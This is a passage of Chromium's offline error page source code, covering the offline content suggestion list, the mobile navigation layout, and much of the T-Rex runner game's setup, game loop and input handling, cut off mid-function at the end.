<div class="offline-content-suggestion-attribution-freshness">
<div id="offline-content-suggestion-favicon-${index}"
class="offline-content-suggestion-favicon">
${favicon}
</div>
<div id="offline-content-suggestion-attribution-${index}"
class="offline-content-suggestion-attribution">
</div>
<div class="offline-content-suggestion-freshness">
${item.date_modified}
</div>
<div class="offline-content-suggestion-pin-spacer"></div>
<div class="offline-content-suggestion-pin"></div>
</div>
</div>
<div class="offline-content-suggestion-thumbnail">
${thumbnail}
</div>
</div>`;
}
/**
* @typedef {{
* ID: string,
* name_space: string,
* title_base64: string,
* snippet_base64: string,
* date_modified: string,
* attribution_base64: string,
* thumbnail_data_uri: string,
* favicon_data_uri: string,
* content_type: number,
* }}
*/
let AvailableOfflineContent;
// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
return;
}
const suggestionsHTML = [];
for (let index = 0; index < suggestions.length; index++) {
suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
}
document.getElementById('offline-content-suggestions').innerHTML =
suggestionsHTML.join('\n');
// Sets textual web content using |textContent| to make sure it's handled as
// plain text.
for (let index = 0; index < suggestions.length; index++) {
document.getElementById(`offline-content-suggestion-title-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].title_base64);
document.getElementById(`offline-content-suggestion-attribution-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].attribution_base64);
}
const contentListElement = document.getElementById('offline-content-list');
if (document.dir === 'rtl') {
contentListElement.classList.add('is-rtl');
}
contentListElement.hidden = false;
// The list is configured as hidden by default. Show it if needed.
if (isShown) {
toggleOfflineContentListVisibility(false);
}
}
function toggleOfflineContentListVisibility(updatePref) {
if (!loadTimeData.valueExists('offlineContentList')) {
return;
}
const contentListElement = document.getElementById('offline-content-list');
const isVisible = !contentListElement.classList.toggle('list-hidden');
if (updatePref && window.errorPageController) {
errorPageController.listVisibilityChanged(isVisible);
}
}
// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
loadTimeData.getValue('downloadButton').msg;
const detailsButton = document.getElementById('details-button');
// If offline content suggestions will be visible, the usual buttons will not
// be presented.
const offlineContentVisible =
loadTimeData.valueExists('suggestedOfflineContentPresentation');
if (offlineContentVisible) {
document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
detailsButton.classList.add(HIDDEN_CLASS);
document.getElementById('download-link').hidden = !downloadButtonVisible;
document.getElementById('download-links-wrapper')
.classList.remove(HIDDEN_CLASS);
document.getElementById('error-information-popup-container')
.classList.add('use-popup-container', HIDDEN_CLASS);
document.getElementById('error-information-button')
.classList.remove(HIDDEN_CLASS);
}
const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
loadTimeData.getValue('attemptAutoFetch');
const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
loadTimeData.getValue('reloadButton').msg;
const reloadButton = document.getElementById('reload-button');
const downloadButton = document.getElementById('download-button');
if (reloadButton.style.display === 'none' &&
downloadButton.style.display === 'none') {
detailsButton.classList.add('singular');
}
// Show or hide control buttons.
const controlButtonDiv = document.getElementById('control-buttons');
controlButtonDiv.hidden =
offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);
const iconClass = loadTimeData.valueExists('iconClass') &&
loadTimeData.getValue('iconClass');
updateIconClass(iconClass);
if (!isSubFrame && iconClass === 'icon-offline') {
document.documentElement.classList.add('offline');
new Runner('.interstitial-wrapper');
}
}
function onDocumentLoad() {
// Sets up the proper button layout for the current platform.
const buttonsDiv = document.getElementById('buttons');
if (primaryControlOnLeft) {
buttonsDiv.classList.add('suggested-left');
} else {
buttonsDiv.classList.add('suggested-right');
}
onDocumentLoadOrUpdate();
}
document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
<script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
let mobileNav = false;
/**
* For small screen mobile the navigation buttons are moved
* below the advanced text.
*/
function onResize() {
const helpOuterBox = document.querySelector('#details');
const mainContent = document.querySelector('#main-content');
const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
'(min-height: 401px), ' +
'(max-height: 560px) and (min-height: 240px) and ' +
'(min-width: 421px)';
const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
// Check for change in nav status.
if (mobileNav !== window.matchMedia(mediaQuery).matches) {
mobileNav = !mobileNav;
// Handle showing the top content / details sections according to state.
if (mobileNav) {
mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
}
} else if (!detailsHidden) {
// Non mobile nav with visible details.
mainContent.classList.remove(HIDDEN_CLASS);
helpOuterBox.classList.remove(HIDDEN_CLASS);
if (runnerContainer) {
runnerContainer.classList.remove(HIDDEN_CLASS);
}
}
}
}
function setupMobileNav() {
window.addEventListener('resize', onResize);
onResize();
}
document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
<script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* T-Rex runner.
* @param {string} outerContainerId Outer containing element id.
* @param {!Object=} opt_config
* @constructor
* @implements {EventListener}
* @export
*/
function Runner(outerContainerId, opt_config) {
// Singleton
if (Runner.instance_) {
return Runner.instance_;
}
Runner.instance_ = this;
this.outerContainerEl = document.querySelector(outerContainerId);
this.containerEl = null;
this.snackbarEl = null;
// A div to intercept touch events. Only set while (playing && useTouch).
this.touchController = null;
this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
// Logical dimensions of the container.
this.dimensions = Runner.defaultDimensions;
this.gameType = null;
Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];
this.altGameImageSprite = null;
this.altGameModeActive = false;
this.altGameModeFlashTimer = null;
this.fadeInTimer = 0;
this.canvas = null;
this.canvasCtx = null;
this.tRex = null;
this.distanceMeter = null;
this.distanceRan = 0;
this.highestScore = 0;
this.syncHighestScore = false;
this.time = 0;
this.runningTime = 0;
this.msPerFrame = 1000 / FPS;
this.currentSpeed = this.config.SPEED;
Runner.slowDown = false;
this.obstacles = [];
this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed = false;
this.paused = false;
this.inverted = false;
this.invertTimer = 0;
this.resizeTimerId_ = null;
this.playCount = 0;
// Sound FX.
this.audioBuffer = null;
/** @type {Object} */
this.soundFx = {};
this.generatedSoundFx = null;
// Global web audio context for playing sounds.
this.audioContext = null;
// Images.
this.images = {};
this.imagesLoaded = 0;
// Gamepad state.
this.pollingGamepads = false;
this.gamepadIndex = undefined;
this.previousGamepad = null;
if (this.isDisabled()) {
this.setupDisabledRunner();
} else {
if (Runner.isAltGameModeEnabled()) {
this.initAltGameType();
Runner.gameType = this.gameType;
}
this.loadImages();
window['initializeEasterEggHighScore'] =
this.initializeHighScore.bind(this);
}
}
/**
* Default game width.
* @const
*/
const DEFAULT_WIDTH = 600;
/**
* Frames per second.
* @const
*/
const FPS = 60;
/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;
/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);
/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;
/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';
/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';
/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';
/** @const */
const A11Y_STRINGS = {
ariaLabel: 'dinoGameA11yAriaLabel',
description: 'dinoGameA11yDescription',
gameOver: 'dinoGameA11yGameOver',
highScore: 'dinoGameA11yHighScore',
jump: 'dinoGameA11yJump',
started: 'dinoGameA11yStartGame',
speedLabel: 'dinoGameA11ySpeedToggle',
};
/**
* Default game configuration.
* Shared config for all versions of the game. Additional parameters are
* defined in Runner.normalConfig and Runner.slowConfig.
*/
Runner.config = {
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
BG_CLOUD_SPEED: 0.2,
BOTTOM_PAD: 10,
// Scroll Y threshold at which the game can be activated.
CANVAS_IN_VIEW_OFFSET: -10,
CLEAR_TIME: 3000,
CLOUD_FREQUENCY: 0.5,
FADE_DURATION: 1,
FLASH_DURATION: 1000,
GAMEOVER_CLEAR_TIME: 1200,
INITIAL_JUMP_VELOCITY: 12,
INVERT_FADE_DURATION: 12000,
MAX_BLINK_COUNT: 3,
MAX_CLOUDS: 6,
MAX_OBSTACLE_LENGTH: 3,
MAX_OBSTACLE_DUPLICATION: 2,
RESOURCE_TEMPLATE_ID: 'audio-resources',
SPEED: 6,
SPEED_DROP_COEFFICIENT: 3,
ARCADE_MODE_INITIAL_TOP_POSITION: 35,
ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};
Runner.normalConfig = {
ACCELERATION: 0.001,
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
GAP_COEFFICIENT: 0.6,
INVERT_DISTANCE: 700,
MAX_SPEED: 13,
MOBILE_SPEED_COEFFICIENT: 1.2,
SPEED: 6,
};
Runner.slowConfig = {
ACCELERATION: 0.0005,
AUDIOCUE_PROXIMITY_THRESHOLD: 170,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
GAP_COEFFICIENT: 0.3,
INVERT_DISTANCE: 350,
MAX_SPEED: 9,
MOBILE_SPEED_COEFFICIENT: 1.5,
SPEED: 4.2,
};
/**
* Default dimensions.
*/
Runner.defaultDimensions = {
WIDTH: DEFAULT_WIDTH,
HEIGHT: 150,
};
/**
* CSS class names.
* @enum {string}
*/
Runner.classes = {
ARCADE_MODE: 'arcade-mode',
CANVAS: 'runner-canvas',
CONTAINER: 'runner-container',
CRASHED: 'crashed',
ICON: 'icon-offline',
INVERTED: 'inverted',
SNACKBAR: 'snackbar',
SNACKBAR_SHOW: 'snackbar-show',
TOUCH_CONTROLLER: 'controller',
};
/**
* Sound FX. Reference to the ID of the audio tag on interstitial page.
* @enum {string}
*/
Runner.sounds = {
BUTTON_PRESS: 'offline-sound-press',
HIT: 'offline-sound-hit',
SCORE: 'offline-sound-reached',
};
/**
* Key code mapping.
* @enum {Object}
*/
Runner.keycodes = {
JUMP: {'38': 1, '32': 1}, // Up, spacebar
DUCK: {'40': 1}, // Down
RESTART: {'13': 1}, // Enter
};
/**
* Runner event names.
* @enum {string}
*/
Runner.events = {
ANIM_END: 'webkitAnimationEnd',
CLICK: 'click',
KEYDOWN: 'keydown',
KEYUP: 'keyup',
POINTERDOWN: 'pointerdown',
POINTERUP: 'pointerup',
RESIZE: 'resize',
TOUCHEND: 'touchend',
TOUCHSTART: 'touchstart',
VISIBILITY: 'visibilitychange',
BLUR: 'blur',
FOCUS: 'focus',
LOAD: 'load',
GAMEPADCONNECTED: 'gamepadconnected',
};
Runner.prototype = {
/**
* Initialize alternative game type.
*/
initAltGameType() {
if (GAME_TYPE.length > 0) {
this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
'';
}
},
/**
* Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
* @return {boolean}
*/
isDisabled() {
return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
},
/**
* For disabled instances, set up a snackbar with the disabled message.
*/
setupDisabledRunner() {
this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.SNACKBAR;
this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
this.outerContainerEl.appendChild(this.containerEl);
// Show notification when the activation key is pressed.
document.addEventListener(Runner.events.KEYDOWN, function(e) {
if (Runner.keycodes.JUMP[e.keyCode]) {
this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
document.querySelector('.icon').classList.add('icon-disabled');
}
}.bind(this));
},
/**
* Setting individual settings for debugging.
* @param {string} setting
* @param {number|string} value
*/
updateConfigSetting(setting, value) {
if (setting in this.config && value !== undefined) {
this.config[setting] = value;
switch (setting) {
case 'GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;
break;
case 'INITIAL_JUMP_VELOCITY':
this.tRex.setJumpVelocity(value);
break;
case 'SPEED':
this.setSpeed(/** @type {number} */ (value));
break;
}
}
},
/**
* Creates an on page image element from the base 64 encoded string source.
* @param {string} resourceName Name in data object,
* @return {HTMLImageElement} The created element.
*/
createImageElement(resourceName) {
const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
loadTimeData.getString(resourceName) :
null;
if (imgSrc) {
const el =
/** @type {HTMLImageElement} */ (document.createElement('img'));
el.id = resourceName;
el.src = imgSrc;
document.getElementById('offline-resources').appendChild(el);
return el;
}
return null;
},
/**
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.
*/
loadImages() {
let scale = '1x';
this.spriteDef = Runner.spriteDefinition.LDPI;
if (IS_HIDPI) {
scale = '2x';
this.spriteDef = Runner.spriteDefinition.HDPI;
}
Runner.imageSprite = /** @type {HTMLImageElement} */
(document.getElementById(RESOURCE_POSTFIX + scale));
if (this.gameType) {
Runner.altGameImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameSpecificImage' + scale));
Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameCommonImage' + scale));
}
Runner.origImageSprite = Runner.imageSprite;
// Disable the alt game mode if the sprites can't be loaded.
if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
Runner.isAltGameModeEnabled = () => false;
this.altGameModeActive = false;
}
if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner.imageSprite.addEventListener(Runner.events.LOAD,
this.init.bind(this));
}
},
/**
* Load and decode base 64 encoded sounds.
*/
loadSounds() {
if (!IS_IOS) {
this.audioContext = new AudioContext();
const resourceTemplate =
document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;
for (const sound in Runner.sounds) {
let soundSrc =
resourceTemplate.getElementById(Runner.sounds[sound]).src;
soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
const buffer = decodeBase64ToArrayBuffer(soundSrc);
// Async, so no guarantee of order in array.
this.audioContext.decodeAudioData(buffer, function(index, audioData) {
this.soundFx[index] = audioData;
}.bind(this, sound));
}
}
},
/**
* Sets the game speed. Adjust the speed accordingly if on a smaller screen.
* @param {number=} opt_speed
*/
setSpeed(opt_speed) {
const speed = opt_speed || this.currentSpeed;
// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
const mobileSpeed = Runner.slowDown ? speed :
speed * this.dimensions.WIDTH /
DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
} else if (opt_speed) {
this.currentSpeed = opt_speed;
}
},
/**
* Game initialiser.
*/
init() {
// Hide the static icon.
document.querySelector('.' + Runner.classes.ICON).style.visibility =
'hidden';
this.adjustDimensions();
this.setSpeed();
const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
this.containerEl = document.createElement('div');
this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
this.containerEl.setAttribute('tabindex', '0');
this.containerEl.setAttribute('title', ariaLabel);
this.containerEl.className = Runner.classes.CONTAINER;
// Player canvas container.
this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
// Live region for game status updates.
this.a11yStatusEl = document.createElement('span');
this.a11yStatusEl.className = 'offline-runner-live-region';
this.a11yStatusEl.setAttribute('aria-live', 'assertive');
this.a11yStatusEl.textContent = '';
Runner.a11yStatusEl = this.a11yStatusEl;
// Add checkbox to slow down the game.
this.slowSpeedCheckboxLabel = document.createElement('label');
this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
this.slowSpeedCheckboxLabel.textContent =
getA11yString(A11Y_STRINGS.speedLabel);
this.slowSpeedCheckbox = document.createElement('input');
this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
this.slowSpeedCheckbox.setAttribute(
'title', getA11yString(A11Y_STRINGS.speedLabel));
this.slowSpeedCheckbox.setAttribute('tabindex', '0');
this.slowSpeedCheckbox.setAttribute('checked', 'checked');
this.slowSpeedToggleEl = document.createElement('span');
this.slowSpeedToggleEl.className = 'slow-speed-toggle';
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);
if (IS_IOS) {
this.outerContainerEl.appendChild(this.a11yStatusEl);
} else {
this.containerEl.appendChild(this.a11yStatusEl);
}
announcePhrase(getA11yString(A11Y_STRINGS.description));
this.generatedSoundFx = new GeneratedSoundFx();
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.canvasCtx.fillStyle = '#f7f7f7';
this.canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);
// Horizon contains clouds, obstacles and the ground.
this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
this.config.GAP_COEFFICIENT);
// Distance meter
this.distanceMeter = new DistanceMeter(this.canvas,
this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);
// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);
this.outerContainerEl.appendChild(this.containerEl);
this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);
this.startListening();
this.update();
window.addEventListener(Runner.events.RESIZE,
this.debounceResize.bind(this));
// Handle dark mode
const darkModeMediaQuery =
window.matchMedia('(prefers-color-scheme: dark)');
this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
darkModeMediaQuery.addListener((e) => {
this.isDarkMode = e.matches;
});
},
/**
* Create the touch controller. A div that covers whole screen.
*/
createTouchController() {
this.touchController = document.createElement('div');
this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
this.touchController.addEventListener(Runner.events.TOUCHEND, this);
this.outerContainerEl.appendChild(this.touchController);
},
/**
* Debounce the resize event.
*/
debounceResize() {
if (!this.resizeTimerId_) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 250);
}
},
/**
* Adjust game space dimensions on resize.
*/
adjustDimensions() {
clearInterval(this.resizeTimerId_);
this.resizeTimerId_ = null;
const boxStyles = window.getComputedStyle(this.outerContainerEl);
const padding = Number(boxStyles.paddingLeft.substr(0,
boxStyles.paddingLeft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
if (this.isArcadeMode()) {
this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
if (this.activated) {
this.setArcadeModeContainerScale();
}
}
// Redraw the elements back onto the canvas.
if (this.canvas) {
this.canvas.width = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon.update(0, 0, true);
this.tRex.update(0);
// Outer container and distance meter.
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(0, Math.ceil(this.distanceRan));
this.stop();
} else {
this.tRex.draw(0, 0);
}
// Game over panel.
if (this.crashed && this.gameOverPanel) {
this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
}
}
},
/**
* Play the game intro.
* Canvas container width expands out to the full width.
*/
playIntro() {
if (!this.activated && !this.crashed) {
this.playingIntro = true;
this.tRex.playingIntro = true;
// CSS animation definition.
const keyframes = '@-webkit-keyframes intro { ' +
'from { width:' + Trex.config.WIDTH + 'px }' +
'to { width: ' + this.dimensions.WIDTH + 'px }' +
'}';
document.styleSheets[0].insertRule(keyframes, 0);
this.containerEl.addEventListener(Runner.events.ANIM_END,
this.startGame.bind(this));
this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.setPlayStatus(true);
this.activated = true;
} else if (this.crashed) {
this.restart();
}
},
/**
* Update the game status to started.
*/
startGame() {
if (this.isArcadeMode()) {
this.setArcadeMode();
}
this.toggleSpeed();
this.runningTime = 0;
this.playingIntro = false;
this.tRex.playingIntro = false;
this.containerEl.style.webkitAnimation = '';
this.playCount++;
this.generatedSoundFx.background();
announcePhrase(getA11yString(A11Y_STRINGS.started));
if (Runner.audioCues) {
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
}
// Handle tabbing off the page. Pause the current game.
document.addEventListener(Runner.events.VISIBILITY,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.BLUR,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.FOCUS,
this.onVisibilityChange.bind(this));
},
clearCanvas() {
this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
},
/**
* Checks whether the canvas area is in the viewport of the browser
* through the current scroll position.
* @return boolean.
*/
isCanvasInView() {
return this.containerEl.getBoundingClientRect().top >
Runner.config.CANVAS_IN_VIEW_OFFSET;
},
/**
* Enable the alt game mode. Switching out the sprites.
*/
enableAltGameMode() {
Runner.imageSprite = Runner.altGameImageSprite;
Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];
if (IS_HIDPI) {
this.spriteDef = Runner.spriteDefinition.HDPI;
} else {
this.spriteDef = Runner.spriteDefinition.LDPI;
}
this.altGameModeActive = true;
this.tRex.enableAltGameMode(this.spriteDef.TREX);
this.horizon.enableAltGameMode(this.spriteDef);
this.generatedSoundFx.background();
},
/**
* Update the game frame and schedules the next one.
*/
update() {
this.updatePending = false;
const now = getTimeStamp();
let deltaTime = now - (this.time || now);
// Flashing when switching game modes.
if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
this.altGameModeFlashTimer = null;
this.tRex.setFlashing(false);
this.enableAltGameMode();
} else if (this.altGameModeFlashTimer > 0) {
this.altGameModeFlashTimer -= deltaTime;
this.tRex.update(deltaTime);
deltaTime = 0;
}
this.time = now;
if (this.playing) {
this.clearCanvas();
// Additional fade in - Prevents jump when switching sprites
if (this.altGameModeActive &&
this.fadeInTimer <= this.config.FADE_DURATION) {
this.fadeInTimer += deltaTime / 1000;
this.canvasCtx.globalAlpha = this.fadeInTimer;
} else {
this.canvasCtx.globalAlpha = 1;
}
if (this.tRex.jumping) {
this.tRex.updateJump(deltaTime);
}
this.runningTime += deltaTime;
const hasObstacles = this.runningTime > this.config.CLEAR_TIME;
// First jump triggers the intro.
if (this.tRex.jumpCount === 1 && !this.playingIntro) {
this.playIntro();
}
// The horizon doesn't move until the intro is over.
if (this.playingIntro) {
this.horizon.update(0, this.currentSpeed, hasObstacles);
} else if (!this.crashed) {
const showNightMode = this.isDarkMode ^ this.inverted;
deltaTime = !this.activated ? 0 : deltaTime;
this.horizon.update(
deltaTime, this.currentSpeed, hasObstacles, showNightMode);
}
// Check for collisions.
let collision = hasObstacles &&
checkForCollision(this.horizon.obstacles[0], this.tRex);
// For a11y, audio cues.
if (Runner.audioCues && hasObstacles) {
const jumpObstacle =
this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';
if (!this.horizon.obstacles[0].jumpAlerted) {
const threshold = Runner.isMobileMouseInput ?
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
const adjProximityThreshold = threshold +
(threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));
if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
if (jumpObstacle) {
this.generatedSoundFx.jump();
}
this.horizon.obstacles[0].jumpAlerted = true;
}
}
}
// Activated alt game mode.
if (Runner.isAltGameModeEnabled() && collision &&
this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
this.horizon.removeFirstObstacle();
this.tRex.setFlashing(true);
collision = false;
this.altGameModeFlashTimer = this.config.FLASH_DURATION;
this.runningTime = 0;
this.generatedSoundFx.collect();
}
if (!collision) {
this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;
if (this.currentSpeed < this.config.MAX_SPEED) {
this.currentSpeed += this.config.ACCELERATION;
}
} else {
this.gameOver();
}
const playAchievementSound = this.distanceMeter.update(deltaTime,
Math.ceil(this.distanceRan));
if (!Runner.audioCues && playAchievementSound) {
this.playSound(this.soundFx.SCORE);
}
// Night mode.
if (!Runner.isAltGameModeEnabled()) {
if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
this.invertTimer = 0;
this.invertTrigger = false;
this.invert(false);
} else if (this.invertTimer) {
this.invertTimer += deltaTime;
} else {
const actualDistance =
this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));
if (actualDistance > 0) {
this.invertTrigger =
!(actualDistance % this.config.INVERT_DISTANCE);
if (this.invertTrigger && this.invertTimer === 0) {
this.invertTimer += deltaTime;
this.invert(false);
}
}
}
}
}
if (this.playing || (!this.activated &&
this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
this.tRex.update(deltaTime);
this.scheduleNextUpdate();
}
},
/**
* Event handler.
* @param {Event} e
*/
handleEvent(e) {
return (function(evtType, events) {
switch (evtType) {
case events.KEYDOWN:
case events.TOUCHSTART:
case events.POINTERDOWN:
this.onKeyDown(e);
break;
case events.KEYUP:
case events.TOUCHEND:
case events.POINTERUP:
this.onKeyUp(e);
break;
case events.GAMEPADCONNECTED:
this.onGamepadConnected(e);
break;
}
}.bind(this))(e.type, Runner.events);
},
/**
* Initialize audio cues if activated by focus on the canvas element.
* @param {Event} e
*/
handleCanvasKeyPress(e) {
if (!this.activated && !Runner.audioCues) {
this.toggleSpeed();
Runner.audioCues = true;
this.generatedSoundFx.init();
Runner.generatedSoundFx = this.generatedSoundFx;
Runner.config.CLEAR_TIME *= 1.2;
} else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
this.onKeyDown(e);
}
},
/**
* Prevent space key press from scrolling.
* @param {Event} e
*/
preventScrolling(e) {
if (e.keyCode === 32) {
e.preventDefault();
}
},
/**
* Toggle speed setting if toggle is shown.
*/
toggleSpeed() {
if (Runner.audioCues) {
const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;
if (speedChange) {
Runner.slowDown = this.slowSpeedCheckbox.checked;
const updatedConfig =
Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;
Runner.config = Object.assign(Runner.config, updatedConfig);
this.currentSpeed = updatedConfig.SPEED;
this.tRex.enableSlowConfig();
this.horizon.adjustObstacleSpeed();
}
if (this.playing) {
this.disableSpeedToggle(true);
}
}
},
/**
* Show the speed toggle.
* From focus event or when audio cues are activated.
* @param {Event=} e
*/
showSpeedToggle(e) {
const isFocusEvent = e && e.type == 'focus';
if (Runner.audioCues || isFocusEvent) {
this.slowSpeedCheckboxLabel.classList.toggle(
HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
}
},
/**
* Disable the speed toggle.
* @param {boolean} disable
*/
disableSpeedToggle(disable) {
if (disable) {
this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
} else {
this.slowSpeedCheckbox.removeAttribute('disabled');
}
},
/**
* Bind relevant key / mouse / touch listeners.
*/
startListening() {
// A11y keyboard / screen reader activation.
this.containerEl.addEventListener(
Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
if (!IS_MOBILE) {
this.containerEl.addEventListener(
Runner.events.FOCUS, this.showSpeedToggle.bind(this));
}
this.canvas.addEventListener(
Runner.events.KEYDOWN, this.preventScrolling.bind(this));
this.canvas.addEventListener(
Runner.events.KEYUP, this.preventScrolling.bind(this));
// Keys.
document.addEventListener(Runner.events.KEYDOWN, this);
document.addEventListener(Runner.events.KEYUP, this);
// Touch / pointer.
this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
document.addEventListener(Runner.events.POINTERDOWN, this);
document.addEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
// Gamepad
window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Remove all listeners.
*/
stopListening() {
document.removeEventListener(Runner.events.KEYDOWN, this);
document.removeEventListener(Runner.events.KEYUP, this);
if (this.touchController) {
this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
}
this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
document.removeEventListener(Runner.events.POINTERDOWN, this);
document.removeEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Process keydown.
* @param {Event} e
*/
onKeyDown(e) {
// Prevent native page scrolling whilst tapping on mobile.
if (IS_MOBILE && this.playing) {
e.preventDefault();
}
if (this.isCanvasInView()) {
// Allow toggling of speed toggle.
if (Runner.keycodes.JUMP[e.keyCode] &&
e.target == this.slowSpeedCheckbox) {
return;
}
if (!this.crashed && !this.paused) {
// For a11y, screen reader activation.
const isMobileMouseInput = IS_MOBILE &&
